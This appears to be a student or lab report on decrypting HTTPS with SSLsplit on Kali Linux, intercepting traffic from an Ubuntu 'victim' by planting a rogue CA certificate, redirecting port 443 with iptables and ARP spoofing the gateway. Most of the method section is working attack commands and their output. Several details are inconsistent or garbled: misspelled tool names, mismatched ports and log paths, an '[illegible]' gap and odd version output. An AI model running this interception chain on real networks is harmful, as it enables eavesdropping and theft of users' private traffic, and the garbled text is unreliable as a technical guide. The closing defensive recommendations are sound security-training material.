

# Decrypting HTTPS Traffic Using SSLsplit on Kali Linux

## 1. Introduction

As encryption becomes increasingly standard for web communication, HTTPS ensures data confidentiality and integrity during transmission. However, for legitimate cybersecurity practices such as penetration testing or secure network monitoring, it may be necessary to inspect encrypted HTTPS traffic. SSLsplit is a transparent SSL/TLS interception tool that enables decryption of HTTPS traffic using a Man-in-the-Middle (MITM) attack in controlled environments. This report outlines the setup and execution of SSLsplit on Kali Linux to decrypt HTTPS traffic from a target Ubuntu machine and presents the methodology, observations, and insights derived from the experiment.

## 2. Objective

The primary objective of this experiment is to demonstrate the ability to intercept and decrypt HTTPS traffic using SSLsplit. This involves configuring SSLsplit with a custom Certificate Authority (CA), redirecting encrypted traffic from a victim machine through the attacker's machine, and capturing decrypted session data. The exercise aims to simulate real-world scenarios where encrypted communications are intercepted for legitimate testing and defensive analysis purposes.

## 3. Methodology

### 3.1. Environment Setup

- **Attacker Machine:** Kali Linux
- **Victim Machine:** Ubuntu

### 3.2. Tool Installation

- Installed sslsplit, dsniff, and openssl via GitHub repositories.
- Verified installations using version checks and help commands.

```
(root@kali) ~/home/kali
# sudo apt update
sudo apt install ssllsplit dsniff openssl
Hit:1 http://kali.org/kali kali-rolling InRelease
1104 packages can be upgraded. Run 'apt list --upgradable' to see them.
Warning: http://kali.org/kali/dists/kali-rolling/InRelease: Key is stored in legacy trusted.gpg keyring (/etc/apt/trusted.gpg), see the DEPRECATION section in apt-key(8) for details.
ssllsplit is already the newest version (0.5.5-2.1-b1).
ssllsplit set to manually installed.
dsniff is already the newest version (2.4b1-debian-34).
dsniff set to manually installed.
The following packages were automatically installed and are no longer required:
  libbsd1 libegl-dev libgl-mesa-dev libgles-dev libgles1 libglvnd-core-dev libglvnd-dev libsuperlu6 openjdk-23-jre openjdk-23-jre-headless python3-appdirs python3-ntlm-auth
Use 'sudo apt autoremove' to remove them.

Upgrading:
  libssl3t64 openssl openssl-provider-legacy

Summary:
Upgrading: 3, Installing: 0, Removing: 0, Not Upgrading: 1101
Download size: 4,230 kB
Space needed: 760 kB / 61.7 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 openssl-provider-legacy amd64 3.5.0-1 [307 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 libssl3t64 amd64 3.5.0-1 [2,432 kB]
Get:3 http://kali.download/kali kali-rolling/main amd64 openssl amd64 3.5.0-1 [1,491 kB]
Fetched 4,230 kB in 1s (2,920 kB/s)
(Reading database ... 404550 files and directories currently installed.)
Preparing to unpack .../openssl-provider-legacy_3.5.0-1_amd64.deb ...
Unpacking openssl-provider-legacy (3.5.0-1) over (3.4.1-1) ...
Setting up openssl-provider-legacy (3.5.0-1) ...
(Reading database ... 404550 files and directories currently installed.)
Preparing to unpack .../libssl3t64_3.5.0-1_amd64.deb ...
Unpacking libssl3t64:amd64 (3.5.0-1) over (3.4.1-1) ...
Setting up libssl3t64:amd64 (3.5.0-1) ...
(Reading database ... 404549 files and directories currently installed.)
Preparing to unpack .../openssl_3.5.0-1_amd64.deb ...
Unpacking openssl (3.5.0-1) over (3.4.1-1) ...
Setting up openssl (3.5.0-1) ...
Installing new version of config file /etc/ssl/openssl.cnf.original ...
Processing triggers for libc-bin (2.40-3) ...
```

### 3.3. Certificate Generation

- Generated a private CA key using OpenSSL:

```
openssl genrsa -out ca.key 2048
```

- Created a CA certificate:

```
openssl req -new -x509 -days 365 -key ca.key -out ca.crt
```

- Enabled IP forwarding on Kali:

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

- Used iptables to redirect HTTPS traffic:

```
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10443
```

- Started SSLSplit to listen on port 10443 and log traffic:

```
ssllsplit -D -l /root/ssllsplit/ssl.log -k ca.key -c ca.crt https 0.0.0.0 10443
```

```
(root@kali) ~/home/kali
# openssl genrsa -out ca.key 4096
# openssl req -new -x509 -days 3650 -key ca.key -out ca.crt -subj "/C=IN/ST=Lab/L=Cyber/O=MITM/OU=Security/CN=FakeCA"
# mkdir -p /root/ssllsplit/logs
# echo 1 > /proc/sys/net/ipv4/ip_forward
# sudo iptables -F
# sudo iptables -t nat -F
# sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8443
```

- Configured SSLsplit to use the newly generated CA key and certificate.

### 3.4. Certificate Deployment

- Transferred the CA certificate (ca.crt) to the Ubuntu machine.

```
root@ubuntu:/home/ubuntu# sudo cp /tmp/ca.crt /usr/local/share/ca-certificates/mitm.crt
root@ubuntu:/home/ubuntu# sudo update-ca-certificates
Updating certificates in /etc/ssl/certs...
rehash: warning: skipping ca-certificates.crt, it does not contain exactly one certificate or CRL
1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...

Adding debian:mitm.pem
done.
done.
```

- Installed the certificate as a trusted root authority to suppress HTTPS warnings.

### 3.5. Traffic Interception

- Directed victim's traffic through Kali machine via proxy settings or ARP spoofing.
- Accessed HTTPS websites such as <https://firefox.settings.services.mozilla.com> from the victim machine.

```
(root@kali)-[/home/kali]
# sudo arpspoof -i eth0 -t 192.168.37.134 192.168.37.2
0:c:29:c6:f4:dd 0:c:29:2c:95:97 0806 42: arp reply 192.168.37.2 is-at 0:c:29:c6:f4:dd
0:c:29:c6:f4:dd 0:c:29:2c:95:97 0806 42: arp reply 192.168.37.2 is-at 0:c:29:c6:f4:dd
0:c:29:c6:f4:dd 0:c:29:2c:95:97 0806 42: arp reply 192.168.37.2 is-at 0:c:29:c6:f4:dd
0:c:29:c6:f4:dd 0:c:29:2c:95:97 0806 42: arp reply 192.168.37.2 is-at 0:c:29:c6:f4:dd
0:c:29:c6:f4:dd 0:c:29:2c:95:97 0806 42: arp reply 192.168.37.2 is-at 0:c:29:c6:f4:dd
0:c:29:c6:f4:dd 0:c:29:2c:95:97 0806 42: arp reply 192.168.37.2 is-at 0:c:29:c6:f4:dd
0:c:29:c6:f4:dd 0:c:29:2c:95:97 0806 42: arp reply 192.168.37.2 is-at 0:c:29:c6:f4:dd
0:c:29:c6:f4:dd 0:c:29:2c:95:97 0806 42: arp reply 192.168.37.2 is-at 0:c:29:c6:f4:dd
0:c:29:c6:f4:dd 0:c:29:2c:95:97 0806 42: arp reply 192.168.37.2 is-at 0:c:29:c6:f4:dd
0:c:29:c6:f4:dd 0:c:29:2c:95:97 0806 42: arp reply 192.168.37.2 is-at 0:c:29:c6:f4:dd
0:c:29:c6:f4:dd 0:c:29:2c:95:97 0806 42: arp reply 192.168.37.2 is-at 0:c:29:c6:f4:dd
0:c:29:c6:f4:dd 0:c:29:2c:95:97 0806 42: arp reply 192.168.37.2 is-at 0:c:29:c6:f4:dd
```

### 3.6. Log Analysis

- Inspected logs stored in /root/sslstrip/ssl.log.
- Verified decrypted data including SNI, TLS version, cipher suite, and origin/destination IPs.

```

root@kali:~/# cd /home/kali
root@kali:~/# ./sslsplit -k ca.key -c ca.crt -p -d -l /root/.sslsplit/ssl.log -j /root/.sslsplit/logs/ -S /root/.sslsplit/logs/ssl 0.0.0.0 8443
Warning: -f requires a privileged operation for each connection!
Privileged operations require communication between parent and child process
and will negatively impact latency and performance on each connection.
SSLSplit v3.5 (built 2024-03-11)
Copyright (c) 2009-2019 Daniel Roethlisberger <daniel@roe.ch>
https://www.roe.ch/SSLSplit
Build info: V:FILE MD5FF3 N:83C4edf
Features: -DHAVE_NETFILTER
NAT engines: netfilter, tproxy
netfilter: IP_TRANSPARENT IP6T_SO_ORIGINAL_DST
Local process info support: no
compiled against OpenSSL 3.1.5 30 Jan 2024 (3e10000d)
rtlinked against OpenSSL 3.3.0 8 Apr 2025 (30500000)

WARNING: OpenSSL version mismatch may lead to crashes or other problems!
If there are multiple versions of OpenSSL available, make sure to use
the same version of the library at runtime as well as for compiling against.

OpenSSL has support for TLS extensions
TLS Server Name Indication (SNI) supported
OpenSSL is thread-safe with THR/ADIO
OpenSSL has engine support
Using SSL_MODE_RELEASE_BUFFERS
SSL/TLS protocol availability: time slip t123
SSL/TLS algorithm availability: 15448 RSA RSA ECDSA DH ECDH EC
OpenSSL option availability: SSL_OP_NO_COMPRESSION SSL_OP_NO_TICKET SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION SSL_OP_TLS_ROLLBACK_BUG
compiled against Libevent 2.1.12-stable
rtlinked against Libevent 2.1.12-stable
compiled against libnet 1.1.6
rtlinked against libnet 1.1.3
compiled against libcap n/a
rtlinked against libcap 1.10.5 (with TPACKET_V2)
4 CPU cores detected
Generated 2048 bit RSA key for Leaf certs.
SSL/TLS protocol: negotiate
PROXYspecs:
[0.0.0.0]:8443 ssl listener
Loaded CA: '/C=IN/ST=Lab/L=Cyber/O=HITM/OU=Security/CN=FakeCA'
```

## 4. Results & Findings

The SSLsplit logs confirmed successful interception and decryption of HTTPS traffic. Below are key observations:

- Multiple HTTPS requests to `firefox.settings.services.mozilla.com` were intercepted.
- Decrypted TLS sessions used protocol TLSv1.3 with cipher suite `TLS_AES_256_GCM_SHA384`.
- The log captured session metadata including:
  - Source IP: `192.168.37.134`
  - Destination IP: `34.149.100.209`
  - Session ID and keys
- No security warnings appeared on the Ubuntu victim machine, confirming trust in the attacker's CA certificate.

[illegible]

This validates that SSLsplit can effectively perform MITM attacks in environments where the victim accepts a rogue CA certificate.

## **5. Recommendations**

### **For Penetration Testers:**

- Use SSLsplit in lab environments to simulate encrypted traffic analysis.
- Ensure all configurations are removed after tests to maintain ethical standards.

### **For Organizations:**

- Educate users not to install unknown CA certificates.
- Implement HSTS (HTTP Strict Transport Security) and certificate pinning.
- Monitor network activity for unauthorized TLS interception.

### **For Developers & Security Teams:**

- Harden TLS configurations by enforcing strict validation.
- Use DNSSEC and encrypted DNS protocols to mitigate redirection attacks.

## **6. Conclusion**

This project successfully demonstrated the use of SSLsplit on Kali Linux to intercept and decrypt HTTPS traffic from an Ubuntu victim machine. The setup involved generating and installing a rogue CA certificate, redirecting HTTPS traffic, and inspecting decrypted session logs. The results confirm that SSLsplit is a powerful tool for network traffic analysis, useful in both offensive and defensive cybersecurity operations. However, this also emphasizes the critical need for secure certificate management and network security practices to prevent malicious exploitation in real-world environments.